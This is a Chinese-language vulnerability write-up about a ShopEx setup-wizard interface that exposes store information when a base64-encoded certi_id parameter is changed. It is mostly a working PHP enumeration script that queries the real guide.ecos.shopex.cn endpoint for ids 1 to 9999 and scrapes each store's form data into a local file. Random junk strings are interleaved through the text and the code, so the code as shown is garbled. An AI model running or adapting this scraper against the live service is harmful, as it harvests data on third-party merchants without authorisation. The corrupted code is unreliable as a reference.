ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
/ G/ b0 q; j/ k& l7 w$ {问题出现在shopex 网店使用向导页面

' G$ L' j1 }6 m$ r/ C6 b
' f. i$ j1 [: s. ~: f/ j5 e
, Y4 E, w3 l( d9 U+ }, U$ Whttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=


3 H. w+ y  _6 W( E0 B, e
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


4 V8 y* R/ {' E' b* i7 D- P
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
. @* R& @, V/ O
+ w# a. ~1 y9 z3 G7 ?

) M/ N+ M% U) m+ x& J" V<?php

! `& l: p0 h5 n$ o( z                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

                }
- W! e( w5 L5 ]1 S
9 M4 x/ T2 [; Z. `                function ShowshopExD($cid) {
( a# E$ I: r3 @. B
' [/ v0 B/ w) m1 {' v4 ^# n3 f                $url='http://guide.ecos.shopex.cn/step2.php';

% O0 Z$ \) @0 g) n9 e                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
4 G" i4 t1 @/ x" |( q8 \6 l2 P
8 |, j) x9 v$ g& s# ]        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);

4 c9 t$ q% e) e' X$ M" i, m        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
" ]% j2 C5 u/ k8 Q9 H8 {# v( u
        if(strpos($result,$refer))

        {
' u! e3 b& Y6 s1 e
, ^5 P; K- F3 Y% \9 X. Y7 _                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

8 t5 X1 B7 d! z# {2 z                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

" f) s% e% |+ ?' N& y4 C' h+ c8 h- s                foreach ($value[1] as $key) {

( n; c/ J1 M' [0 Q                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

4 T- ^1 _$ _: b. J2 @                        $col =$res[1][0].':'.$res[3][0]."\r\n";

6 B% x7 V$ n) r& y4 g                        fwrite($fp, $col, strlen($col));

                }
/ N5 X4 `; w  ^) x& j3 i& j
                echo '--------------------------------'."\r\n";

. \0 D3 y, M/ ~                fclose($fp);
+ ~0 [& b- d/ w! J( {
        }
( S' q/ L9 J! ~1 y
        flush();

) g7 x4 D9 K; U8 h1 \+ F- [' L        curl_close($ch);
5 v$ p( Z+ ?6 k, L  l$ O" r
3 K: T2 v/ d9 B% @; `' @                }

2 g( }; Z  ^* l( O- J4 T3 B?>
漏洞证明：
1 u+ @: l7 z* t" E1 ~, B. hhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
7 D* ?' b0 Z% L0 N9 t' I